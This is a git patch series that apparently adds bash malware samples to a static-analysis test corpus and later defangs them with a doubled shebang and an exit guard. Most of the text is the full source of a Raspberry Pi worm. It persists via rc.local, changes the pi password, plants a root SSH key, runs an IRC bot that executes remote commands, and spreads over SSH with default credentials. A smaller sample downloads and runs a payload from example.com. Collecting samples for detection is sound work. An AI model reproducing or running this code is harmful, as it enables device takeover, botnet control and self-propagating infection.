From 61d6a2fae5a41a3bbc12e1069c5204ba9a58cf6f Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Sun, 5 Jul 2026 21:02:50 +0530 Subject: [PATCH 1/7] Add bash test sample --- ...876e90c500efcbda69e76924f51ca8de724c8b.sh_ | 21 +++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 source/sh/b7e40a5e4c4cb6935a12f564d6876e90c500efcbda69e76924f51ca8de724c8b.sh_ diff --git a/source/sh/b7e40a5e4c4cb6935a12f564d6876e90c500efcbda69e76924f51ca8de724c8b.sh_ b/source/sh/b7e40a5e4c4cb6935a12f564d6876e90c500efcbda69e76924f51ca8de724c8b.sh_ new file mode 100644 index 0000000..75c9d6f --- /dev/null +++ b/source/sh/b7e40a5e4c4cb6935a12f564d6876e90c500efcbda69e76924f51ca8de724c8b.sh_ @@ -0,0 +1,21 @@ +#!/usr/bin/env bash + +tmp="/tmp/.cache" +count=3 + +log_and_run() { + local url="http://example.com/payload" + trap 'rm -f "$tmp"' EXIT + eval "echo start" + curl "$url" -o "$tmp" + chmod 700 "$tmp" +} + +launch() { + mkfifo /tmp/f + exec bash "$tmp" +} + +if test -f /etc/shadow; then + log_and_run +fi \ No newline at end of file From 4e16aa45aae0fa40d8fef6e46bc436437bb6de09 Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Wed, 15 Jul 2026 22:18:15 +0530 Subject: [PATCH 2/7] Add bash test sample --- ...8562c406c6c6c89b3748aee016bc996ab1f1318.sh | 162 ++++++++++++++++++ 1 file changed, 162 insertions(+) create mode 100644 source/sh/ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh diff --git a/source/sh/ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh b/source/sh/ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh new file mode 100644 index 0000000..ce50745 --- /dev/null +++ b/source/sh/ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh @@ -0,0 +1,162 @@ +C0755 4745 7efruhWQ +#!/bin/bash + +MYSELF=`realpath $0` +DEBUG=/dev/null +echo $MYSELF >> $DEBUG + +if [ "$EUID" -ne 0 ] +then + NEWMYSELF=`mktemp -u 'XXXXXXXX'` + sudo cp $MYSELF /opt/$NEWMYSELF + sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local" + sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local" + sudo sh -c "echo 'exit 0' >> /etc/rc.local" + sleep 1 + sudo reboot +else +TMP1=`mktemp` +echo $TMP1 >> $DEBUG + +killall bins.sh +killall minerd +killall node +killall nodejs +killall ktx-armv4l +killall ktx-i586 +killall ktx-m68k +killall ktx-mips +killall ktx-mipsel +killall ktx-powerpc +killall ktx-sh4 +killall ktx-sparc +killall arm5 +killall zmap +killall kaiten +killall perl + +echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts +rm -rf /root/.bashrc +rm -rf /home/pi/.bashrc + +usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi + +mkdir -p /root/.ssh +echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys + +echo "nameserver 8.8.8.8" >> /etc/resolv.conf +rm -rf /tmp/ktx* +rm -rf /tmp/cpuminer-multi +rm -rf /var/tmp/kaiten + +cat > /tmp/public.pem < /tmp/$BOT <<'EOFMARKER' +#!/bin/bash + +SYS=`uname -a | md5sum | awk -F' ' '{print $1}'` +NICK=a${SYS:24} +while [ true ]; do + + arr[0]="ix1.undernet.org" + arr[1]="ix2.undernet.org" + arr[2]="Ashburn.Va.Us.UnderNet.org" + arr[3]="Bucharest.RO.EU.Undernet.Org" + arr[4]="Budapest.HU.EU.UnderNet.org" + arr[5]="Chicago.IL.US.Undernet.org" + rand=$[$RANDOM % 6] + svr=${arr[$rand]} + + eval 'exec 3<>/dev/tcp/$svr/6667;' + if [[ ! "$?" -eq 0 ]] ; then + continue + fi + + echo $NICK + + eval 'printf "NICK $NICK\r\n" >&3;' + if [[ ! "$?" -eq 0 ]] ; then + continue + fi + eval 'printf "USER user 8 * :IRC hi\r\n" >&3;' + if [[ ! "$?" -eq 0 ]] ; then + continue + fi + + # Main loop + while [ true ]; do + eval "read msg_in <&3;" + + if [[ ! "$?" -eq 0 ]] ; then + break + fi + + if [[ "$msg_in" =~ "PING" ]] ; then + printf "PONG %s\n" "${msg_in:5}"; + eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;' + if [[ ! "$?" -eq 0 ]] ; then + break + fi + sleep 1 + eval 'printf "JOIN #biret\r\n" >&3;' + if [[ ! "$?" -eq 0 ]] ; then + break + fi + elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then + privmsg_h=$(echo $msg_in| cut -d':' -f 3) + privmsg_data=$(echo $msg_in| cut -d':' -f 4) + privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1) + + hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'` + sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin` + + if [[ "$sign" == "$hash" ]] ; then + CMD=`echo $privmsg_data | base64 -d -i` + RES=`bash -c "$CMD" | base64 -w 0` + eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;' + if [[ ! "$?" -eq 0 ]] ; then + break + fi + fi + fi + done +done +EOFMARKER + +chmod +x /tmp/$BOT +nohup /tmp/$BOT 2>&1 > /tmp/bot.log & +rm /tmp/nohup.log -rf +rm -rf nohup.out +sleep 3 +rm -rf /tmp/$BOT + +NAME=`mktemp -u 'XXXXXXXX'` + +date > /tmp/.s + +apt-get update -y --force-yes +apt-get install zmap sshpass -y --force-yes + +while [ true ]; do + FILE=`mktemp` + zmap -p 22 -o $FILE -n 100000 + killall ssh scp + for IP in `cat $FILE` + do + sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" & + sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" & + done + rm -rf $FILE + sleep 10 +done + +fi From b2a290d8316ecd0c224697a7b77f086eece13ef9 Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Sun, 2 Aug 2026 16:43:36 +0530 Subject: [PATCH 3/7] Fix sample bash test file --- ...88909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/source/sh/ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh b/source/sh/ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh index ce50745..ddbf258 100644 --- a/source/sh/ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh +++ b/source/sh/ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh @@ -1,4 +1,3 @@ -C0755 4745 7efruhWQ #!/bin/bash MYSELF=`realpath $0` From fed9099af16fa8bce63f321155a966b2847831b2 Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Mon, 3 Aug 2026 22:24:53 +0530 Subject: [PATCH 4/7] Rename .sh to .sh_ and update filenames --- .github/check_sample_filenames.py | 1 + ...909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh_} | 0 2 files changed, 1 insertion(+) rename source/sh/{ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh => ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh_} (100%) diff --git a/.github/check_sample_filenames.py b/.github/check_sample_filenames.py index a3e479a..caeefd6 100644 --- a/.github/check_sample_filenames.py +++ b/.github/check_sample_filenames.py @@ -35,6 +35,7 @@ ".raw32", ".raw64", ".aspx_", + ".sh_", ".cs_", ".py_", ".json.gz", diff --git a/source/sh/ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh b/source/sh/ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh_ similarity index 100% rename from source/sh/ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh rename to source/sh/ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh_ From 64d4c8a8a501dc1499ce3fd6e0284620a80e155d Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Tue, 4 Aug 2026 14:19:14 +0530 Subject: [PATCH 5/7] Rename the sample with correct hash --- ...e03e4a90787288ae540ce969016142138ec53577f90bab8f05f3dee02.sh_} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename source/sh/{ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh_ => 549609fe03e4a90787288ae540ce969016142138ec53577f90bab8f05f3dee02.sh_} (100%) diff --git a/source/sh/ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh_ b/source/sh/549609fe03e4a90787288ae540ce969016142138ec53577f90bab8f05f3dee02.sh_ similarity index 100% rename from source/sh/ea73a088909b53110444807188562c406c6c6c89b3748aee016bc996ab1f1318.sh_ rename to source/sh/549609fe03e4a90787288ae540ce969016142138ec53577f90bab8f05f3dee02.sh_ From 409f72124713424c42edf30298c502adb425feea Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Tue, 4 Aug 2026 14:35:31 +0530 Subject: [PATCH 6/7] Defang and rename the samples --- ...619d5999c38e88583c5e23efa5493834d3bc55f8ba6376d38240048.sh_} | 2 +- ...9d4fece2222d00fe48fda139b8c5b1582137f228b6f4caa50cc4a6a.sh_} | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) rename source/sh/{549609fe03e4a90787288ae540ce969016142138ec53577f90bab8f05f3dee02.sh_ => 1d470868c619d5999c38e88583c5e23efa5493834d3bc55f8ba6376d38240048.sh_} (99%) rename source/sh/{b7e40a5e4c4cb6935a12f564d6876e90c500efcbda69e76924f51ca8de724c8b.sh_ => e05e2293c9d4fece2222d00fe48fda139b8c5b1582137f228b6f4caa50cc4a6a.sh_} (92%) diff --git a/source/sh/549609fe03e4a90787288ae540ce969016142138ec53577f90bab8f05f3dee02.sh_ b/source/sh/1d470868c619d5999c38e88583c5e23efa5493834d3bc55f8ba6376d38240048.sh_ similarity index 99% rename from source/sh/549609fe03e4a90787288ae540ce969016142138ec53577f90bab8f05f3dee02.sh_ rename to source/sh/1d470868c619d5999c38e88583c5e23efa5493834d3bc55f8ba6376d38240048.sh_ index ddbf258..640f7d1 100644 --- a/source/sh/549609fe03e4a90787288ae540ce969016142138ec53577f90bab8f05f3dee02.sh_ +++ b/source/sh/1d470868c619d5999c38e88583c5e23efa5493834d3bc55f8ba6376d38240048.sh_ @@ -1,4 +1,4 @@ -#!/bin/bash +##!/bin/bash MYSELF=`realpath $0` DEBUG=/dev/null diff --git a/source/sh/b7e40a5e4c4cb6935a12f564d6876e90c500efcbda69e76924f51ca8de724c8b.sh_ b/source/sh/e05e2293c9d4fece2222d00fe48fda139b8c5b1582137f228b6f4caa50cc4a6a.sh_ similarity index 92% rename from source/sh/b7e40a5e4c4cb6935a12f564d6876e90c500efcbda69e76924f51ca8de724c8b.sh_ rename to source/sh/e05e2293c9d4fece2222d00fe48fda139b8c5b1582137f228b6f4caa50cc4a6a.sh_ index 75c9d6f..1282ddd 100644 --- a/source/sh/b7e40a5e4c4cb6935a12f564d6876e90c500efcbda69e76924f51ca8de724c8b.sh_ +++ b/source/sh/e05e2293c9d4fece2222d00fe48fda139b8c5b1582137f228b6f4caa50cc4a6a.sh_ @@ -1,4 +1,4 @@ -#!/usr/bin/env bash +##!/usr/bin/env bash tmp="/tmp/.cache" count=3 From 7dabad1eb881f8ee24f6246e6869f05701694772 Mon Sep 17 00:00:00 2001 From: saniyafatima07 Date: Thu, 13 Aug 2026 22:45:09 +0530 Subject: [PATCH 7/7] Add safety and rename hashes --- ...dc98837d6b23a6de2b5f2433fedcdae9330d0a5b2a776571a4fef6.sh_} | 3 ++- ...9f82e79a9cc5af5f0a096b20737548f8d1bdc1aebf5744ffc78f6b.sh_} | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) rename source/sh/{e05e2293c9d4fece2222d00fe48fda139b8c5b1582137f228b6f4caa50cc4a6a.sh_ => 91800a2afbdc98837d6b23a6de2b5f2433fedcdae9330d0a5b2a776571a4fef6.sh_} (71%) rename source/sh/{1d470868c619d5999c38e88583c5e23efa5493834d3bc55f8ba6376d38240048.sh_ => cff512dd1c9f82e79a9cc5af5f0a096b20737548f8d1bdc1aebf5744ffc78f6b.sh_} (97%) diff --git a/source/sh/e05e2293c9d4fece2222d00fe48fda139b8c5b1582137f228b6f4caa50cc4a6a.sh_ b/source/sh/91800a2afbdc98837d6b23a6de2b5f2433fedcdae9330d0a5b2a776571a4fef6.sh_ similarity index 71% rename from source/sh/e05e2293c9d4fece2222d00fe48fda139b8c5b1582137f228b6f4caa50cc4a6a.sh_ rename to source/sh/91800a2afbdc98837d6b23a6de2b5f2433fedcdae9330d0a5b2a776571a4fef6.sh_ index 1282ddd..00c875e 100644 --- a/source/sh/e05e2293c9d4fece2222d00fe48fda139b8c5b1582137f228b6f4caa50cc4a6a.sh_ +++ b/source/sh/91800a2afbdc98837d6b23a6de2b5f2433fedcdae9330d0a5b2a776571a4fef6.sh_ @@ -1,5 +1,6 @@ ##!/usr/bin/env bash - +echo "FATAL: This file is a static analysis fixture and must never be executed!" >&2 +return 1 2>/dev/null || exit 1 tmp="/tmp/.cache" count=3 diff --git a/source/sh/1d470868c619d5999c38e88583c5e23efa5493834d3bc55f8ba6376d38240048.sh_ b/source/sh/cff512dd1c9f82e79a9cc5af5f0a096b20737548f8d1bdc1aebf5744ffc78f6b.sh_ similarity index 97% rename from source/sh/1d470868c619d5999c38e88583c5e23efa5493834d3bc55f8ba6376d38240048.sh_ rename to source/sh/cff512dd1c9f82e79a9cc5af5f0a096b20737548f8d1bdc1aebf5744ffc78f6b.sh_ index 640f7d1..e784ee7 100644 --- a/source/sh/1d470868c619d5999c38e88583c5e23efa5493834d3bc55f8ba6376d38240048.sh_ +++ b/source/sh/cff512dd1c9f82e79a9cc5af5f0a096b20737548f8d1bdc1aebf5744ffc78f6b.sh_ @@ -1,5 +1,6 @@ ##!/bin/bash - +echo "FATAL: This file is a static analysis fixture and must never be executed!" >&2 +return 1 2>/dev/null || exit 1 MYSELF=`realpath $0` DEBUG=/dev/null echo $MYSELF >> $DEBUG